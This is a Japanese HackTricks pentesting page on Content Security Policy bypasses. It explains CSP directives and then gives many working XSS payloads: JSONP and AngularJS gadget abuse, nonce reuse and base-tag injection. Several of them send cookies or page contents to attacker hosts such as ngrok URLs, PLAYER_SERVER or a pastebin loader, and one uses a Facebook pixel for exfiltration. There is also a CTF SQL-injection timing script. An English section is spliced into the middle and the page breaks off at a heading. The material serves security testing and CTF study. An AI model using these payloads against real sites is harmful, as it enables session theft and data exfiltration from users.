.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Content Security Policy (CSP) バイパス
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的な NFTs のコレクションを見る
- 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。**
- ハッキングトリックを共有するために PR を提出して HackTricks と HackTricks Cloud の github リポジトリに参加する。
HackenProof Discord に参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう
最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Discord に参加して、今日からトップハッカーと協力しましょう!
CSP とは
Content Security Policy(CSP)は、主に クロスサイトスクリプティング(XSS)などの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することで機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン(self)からのリソースの読み込みと実行を許可し、インラインリソースや eval
、setTimeout
、setInterval
などの関数を介した文字列コードの実行を含めることができます。
CSP の実装は、レスポンスヘッダを介して行われるか、HTML ページにメタ要素を組み込むことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- メタタグを使用して実装されています:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます:
Content-Security-Policy
:CSPを強制します。ブラウザは違反をブロックします。Content-Security-Policy-Report-Only
:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。
リソースの定義
CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()
の使用などの側面を制御します。例として次のポリシーがあります:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
ディレクティブ
- script-src: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します。
- default-src: 特定のフェッチディレクティブが存在しない場合にリソースの取得のためのデフォルトポリシーを設定します。
- child-src: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。
- connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
- frame-src: フレームのためのURLを制限します。
- frame-ancestors:
<frame>
、<iframe>
、<object>
、<embed>
、<applet>
などの要素に適用され、現在のページを埋め込むことができるソースを指定します。 - img-src: 画像の許可されたソースを定義します。
- font-src:
@font-face
を使用してロードされるフォントの有効なソースを指定します。 - manifest-src: アプリケーションマニフェストファイルの許可されたソースを定義します。
- media-src: メディアオブジェクトをロードするための許可されたソースを定義します。
- object-src:
<object>
、<embed>
、<applet>
要素の許可されたソースを定義します。 - base-uri:
<base>
要素を使用してロードするための許可されたURLを指定します。 - form-action: フォーム送信のための有効なエンドポイントをリストします。
- plugin-types: ページが呼び出すことができるMIMEタイプを制限します。
- upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- sandbox:
<iframe>
のsandbox属性に類似した制限を適用します。 - report-to: ポリシーが違反された場合にレポートが送信されるグループを指定します。
- worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。
- prefetch-src: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
- navigate-to: ドキュメントがどのような手段でナビゲートできるURLを制限します(a、form、window.location、window.openなど)。
ソース
*
:data:
、blob:
、filesystem:
スキームを除くすべてのURLを許可します。'self'
: 同じドメインからの読み込みを許可します。'data'
: データスキームを介してリソースをロードすることを許可します(例:Base64エンコードされた画像)。'none'
: 任意のソースからの読み込みをブロックします。'unsafe-eval'
:eval()
などの使用を許可しますが、セキュリティ上の理由から推奨されません。'unsafe-hashes'
: 特定のインラインイベントハンドラを有効にします。'unsafe-inline'
: インラインリソース(インライン<script>
や<style>
など)の使用を許可しますが、セキュリティ上の理由から推奨されません。'nonce'
: 暗号的なナンス(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。- ページ内で使用されたナンスを取得し、悪意のあるスクリプトをロードするために再利用することが可能です(strict-dynamicが使用されている場合、任意の許可されたソースが新しいソースをロードできるため、これは必要ありません)。以下のように:
ナンスを再利用してスクリプトをロード
```html ```'sha256-<hash>'
: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。'strict-dynamic'
: nonceまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトを読み込むことを許可します。'host'
:example.com
のような特定のホストを指定します。https:
: HTTPSを使用するURLに制限します。blob:
: Blob URL(JavaScriptによって作成されたBlob URLなど)からリソースを読み込むことを許可します。filesystem:
: ファイルシステムからリソースを読み込むことを許可します。'report-sample'
: 違反レポートに違反コードのサンプルを含めます(デバッグに便利です)。'strict-origin'
: 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します(セキュアなオリジンのみがセキュアなオリジンからリソースを読み込むことができます)。'strict-origin-when-cross-origin'
: 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストの場合はオリジンのみを送信します。'unsafe-allow-redirects'
: 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。
Unsafe CSP Rules
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} これは機能しません。詳細についてはこちらをチェックしてください。 {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
動作するペイロード:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
もし、許可されたJSコードが新しいスクリプトタグをDOMに作成するように何らかの方法でできれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行を許可されるでしょう。
ワイルドカード (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
動作するペイロード:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-src と default-src の不足
{% hint style="danger" %} これはもはや機能していないようです {% endhint %}
Content-Security-Policy: script-src 'self' ;
動作するペイロード:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
ファイルアップロード + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
もしJSファイルをアップロードできるなら、このCSPをバイパスできます:
動作するペイロード:
"/>'><script src="/uploads/picture.png.js"></script>
しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるように制限している可能性が非常に高いです。
さらに、サーバーが受け入れる拡張子を使用してファイル内にJSコードをアップロードできたとしても(例: script.png)、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルのMIMEタイプを拡張子に基づいて選択し、Chromeのようなブラウザは画像であるべきものにJavaScriptコードを実行することを拒否するからです。"幸いにも"、例外があります。たとえば、CTFから学んだところによると、Apacheは.wave拡張子を認識しないため、**audio/***のようなMIMEタイプで提供されません。
ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます(ここにいくつかのポリグロットの例があります)。
Form-action
JSをインジェクトすることができない場合は、たとえば資格情報をインジェクトするフォームアクションを試すことができます(そしておそらくパスワードマネージャーが自動的にパスワードを入力することを期待しています)。このレポートに例があります。また、default-src
はフォームアクションをカバーしていないことに注意してください。
サードパーティエンドポイント + ('unsafe-eval')
{% hint style="warning" %}
以下のいくつかのペイロードに対しては、unsafe-eval
が必要ないことがあります。
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Angularの脆弱性バージョンを読み込んで任意のJSを実行する:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular + window
オブジェクトを返す関数を持つライブラリを使用したペイロード(この投稿をチェック):
{% hint style="info" %}
この投稿では、cdn.cloudflare.com
(または他の許可されたJSライブラリリポジトリ)からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindow
オブジェクトを返すかを確認できることを示しています。
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS from a class name:
クラス名からのAngular XSS:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Google reCAPTCHA JSコードの悪用
このCTF解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスして任意のJSコードを実行できる可能性があります。
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
さらにこの解説からのペイロード:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
www.google.comを悪用したオープンリダイレクト
以下のURLはexample.comにリダイレクトします(こちらから):
https://www.google.com/amp/s/example.com/
サードパーティのエンドポイント + JSONP
*.google.com/script.google.com を悪用する
Google Apps Script を悪用して、script.google.com 内のページで情報を受信することが可能です。これはこのレポートで行われています。
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
以下のようなシナリオでは、script-src
が self
と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。
同じ脆弱性が発生する可能性があります信頼されたエンドポイントにオープンリダイレクトが含まれている場合、初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
サードパーティの悪用
次の投稿で説明されているように、CSP で許可されているサードパーティのドメインの中には、データを外部に流出させたりJavaScript コードを実行したりするために悪用できるものが多数あります。これらのサードパーティの一部は次のとおりです:
エンティティ | 許可されたドメイン | 機能 |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
ターゲットのCSP で許可されているドメインの中にこれらのいずれかが見つかった場合、サードパーティのサービスに登録して、そのサービスにデータを外部に流出させたりコードを実行したりする可能性があります。
たとえば、次のCSP が見つかった場合:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Content Security Policy (CSP) Bypass
Description
In some scenarios, it may be possible to bypass Content Security Policy (CSP) restrictions to execute malicious code on a target web application. This can be achieved by exploiting misconfigurations or weaknesses in the CSP implementation.
Techniques
1. Inline Script Execution
By finding a way to execute inline scripts, it may be possible to bypass CSP restrictions that disallow inline script execution. This can be done by leveraging certain HTML attributes or event handlers that allow for inline script execution.
2. Script Source Manipulation
If a website allows loading scripts from certain sources, an attacker may be able to manipulate these sources to execute malicious code. This can be done by exploiting dynamic script loading or by finding ways to include attacker-controlled scripts from whitelisted sources.
3. Data URI Scheme
Using the data URI scheme, an attacker can embed the contents of a script directly into a URL. By leveraging this technique, it may be possible to bypass CSP restrictions that block external script sources.
Recommendations
To prevent CSP bypasses, it is important to properly configure Content Security Policy headers and to regularly review and update the policy based on the evolving security requirements of the web application. Additionally, implementing other security measures such as input validation and output encoding can help mitigate the impact of CSP bypass vulnerabilities.
Content-Security-Policy: connect-src www.facebook.com;
-
以下の手順に従います:
- Facebook Developerでアカウントを作成します。
- "Facebook Login"アプリを作成し、"Website"を選択します。
- "Settings -> Basic"に移動し、"App ID"を取得します。
- データを外部流出させたい対象サイトでは、Facebook SDKのガジェット "fbq" を使用して "customEvent" とデータペイロードを介してデータを外部流出させることができます。
- アプリの "Event Manager" に移動し、作成したアプリケーションを選択します(イベントマネージャーは次のようなURLで見つけることができます:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。
- "Test Events"タブを選択して、"あなたの"ウェブサイトから送信されるイベントを確認します。
-
被害者側では、以下のコードを実行して、Facebookのトラッキングピクセルを初期化し、攻撃者のFacebook開発者アカウントのapp-idを指すようにし、次のようなカスタムイベントを発行します:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
RPO(Relative Path Overwrite)を介したバイパス
前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path Overwrite(RPO)と呼ばれる別のテクニックがあります。
たとえば、CSPがパスhttps://example.com/scripts/react/
を許可している場合、次のようにバイパスできます:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
ブラウザは最終的に https://example.com/scripts/angular/angular.js
を読み込みます。
これは、ブラウザにとって、https://example.com/scripts/react/
の下にある ..%2fangular%2fangular.js
という名前のファイルを読み込んでいるため、CSPに準拠しています。
したがって、それらはそれをデコードし、効果的に https://example.com/scripts/react/../angular/angular.js
をリクエストし、これは https://example.com/scripts/angular/angular.js
と同等です。
ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパスすることができます。
解決策は、サーバーサイドで %2f
を /
として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。
オンライン例: https://jsbin.com/werevijewa/edit?html,output
Iframes JS実行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
base-uri が不足している場合
base-uri ディレクティブが不足している場合、dangling markup injection を実行することができます。
さらに、ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合(例:<script src="/js/app.js">
)、base tag を悪用して、自分のサーバーからスクリプトを読み込ませることでXSSを達成することができます。
脆弱なページがhttpSで読み込まれている場合は、baseにhttpSのURLを使用してください。
<base href="https://www.attacker.com/">
AngularJS イベント
特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する場合があります。しかし、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト $event
を提供します。この $event
オブジェクトはCSP を回避するために悪用される可能性があります。特に、Chrome では $event/event
オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する path
属性があり、その最後には常に window
オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。
この配列を orderBy
フィルタに向けることで、その配列を反復処理し、末端要素(window
オブジェクト)を利用して alert()
のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
このスニペットは、ng-focus
ディレクティブの使用方法を強調し、$event.path|orderBy
を使用してpath
配列を操作し、window
オブジェクトを活用してalert()
関数を実行し、それによってdocument.cookie
を明らかにします。
他のAngularバイパスを見つける https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJSとホワイトリストされたドメイン
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
CSP Bypass via Callback Functions and Vulnerable Classes
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックに関する詳細は、このgitリポジトリで利用可能な詳細ガイドで確認できます。
動作するペイロード:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
他のJSONP任意実行エンドポイントはこちらで見つけることができます(一部は削除されたり修正されたりしました)
リダイレクトを介したバイパス
CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか? リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。
ただし、CSP仕様4.2.2.3. パスとリダイレクトの説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。
以下は例です:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
CSPがhttps://www.google.com/a/b/c/d
に設定されている場合、パスが考慮されるため、/test
と/a/test
のスクリプトはどちらもCSPによってブロックされます。
ただし、最終的なhttp://localhost:5555/301
はサーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
にリダイレクトされます。これはリダイレクトなので、パスは考慮されず、スクリプトがロードされるため、パス制限をバイパスできます。
このリダイレクトにより、パスが完全に指定されていてもバイパスされます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことを確認することです。
ダングリングマークアップを使用してCSPをバイパス
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
は、コード内で任意のスクリプトを実行できることを意味し(XSS がコードを実行できる)、img-src *
は、任意のリソースからの画像をウェブページで使用できることを意味します。
この CSP は、画像を介してデータを外部に送信することで回避できます(この場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します)。
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
この構成を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして"unsafe-inline"を悪用してJSコード(通常のXSSとして)を実行し、画像を読み込み、そこからJSを抽出して実行することができます:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Service Workersを使用する
Service Workersの**importScripts
**関数はCSPに制限されません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
ポリシーインジェクション
調査: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
あなたが送信したパラメータがポリシーの宣言の内部に貼り付けられている場合、ポリシーを無効にする方法でポリシーを変更できます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'**を許可できます:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
このディレクティブは既存のscript-srcディレクティブを上書きします。
例はこちらで見つけることができます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edgeでは、CSPにこれだけ追加できれば**;_
、Edgeはポリシー全体を無効に**します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; XSS経由での攻撃 (iframe) - タイムアタック
ディレクティブ'unsafe-inline'
が欠けていることに注意してください。
今回は、<iframe
を使用して被害者にあなたの制御下のページをXSS経由で読み込ませることができます。被害者に情報を取得したいページにアクセスさせることができます(CSRF)。ページの内容にアクセスすることはできませんが、ページの読み込みにかかる時間を制御できれば必要な情報を抽出できます。
今回は、フラグが抽出されます。charが正しく推測されるたびにSQLi経由でレスポンスがスリープ関数により時間がかかるようになります。その後、フラグを抽出できます:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
ブックマークレット経由
この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、悪意のあるJavaScriptコードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。
詳細については、こちらの元のレポートをご覧ください。
CSP制限によるCSPバイパス
このCTF解説では、許可されたiframe内により制限の厳しいCSPを注入することで、CSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、プロトタイプ汚染またはDOMクロブリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことができました。
IframeのCSPを制限することができます。**csp
**属性を使用します:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
このCTF解説 では、HTMLインジェクションを通じて、CSPをより制限することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的にすることができ、インラインスクリプトは削除され、それによりそれらのnonceを許可し、shaを使用して特定のインラインスクリプトを有効にすることができます。
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出
サーバーがヘッダー**Content-Security-Policy-Report-Only
をあなたが制御する値で応答するようにできれば(CRLFのためかもしれません)、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したいJSコンテンツを<script>
**でラップし、CSPでunsafe-inline
が許可されていない可能性が高いため、これはCSPエラーをトリガーし、(機密情報を含む)スクリプトの一部がContent-Security-Policy-Report-Only
からサーバーに送信されます。
例として、このCTF解説を参照してください。
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
CSPとIframeを使用した情報漏洩
iframe
が作成され、CSPに許可されているURL(ここではhttps://example.redirect.com
と呼びます)を指すようにします。- このURLは、CSPに許可されていない秘密のURL(例:
https://usersecret.example2.com
)にリダイレクトします。 securitypolicyviolation
イベントを監視することで、blockedURI
プロパティをキャプチャできます。このプロパティは、初期のURLがリダイレクトされた秘密のドメインを漏洩します。
興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動により機密情報が漏洩する可能性がある点です。
別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、バイナリサーチアルゴリズムに依存し、CSPを調整して特定のドメインをブロックすることで秘密のサブドメインを推測します。たとえば、秘密のサブドメインが不明な文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整し、異なるサブドメインを反復的にテストできます。以下は、この方法を実現するためにCSPを設定する方法を示すスニペットです:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全なURLを明らかにすることができます。
両方の方法は、CSPの実装とブラウザの動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。
こちらからのトリック。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加してください!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく
最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**Discordで私たちに参加し、今日からトップハッカーと協力を始めましょう!
CSPをバイパスするための安全でないテクノロジー
PHPレスポンスバッファの過負荷
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。そのため、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの前に レスポンスが送信され、ヘッダーが無視されることになります。
その後、この技術は基本的に、警告でレスポンスバッファを埋めることによって、CSPヘッダーが送信されないようにするというものです。
この解説からのアイデア。
エラーページの書き換え
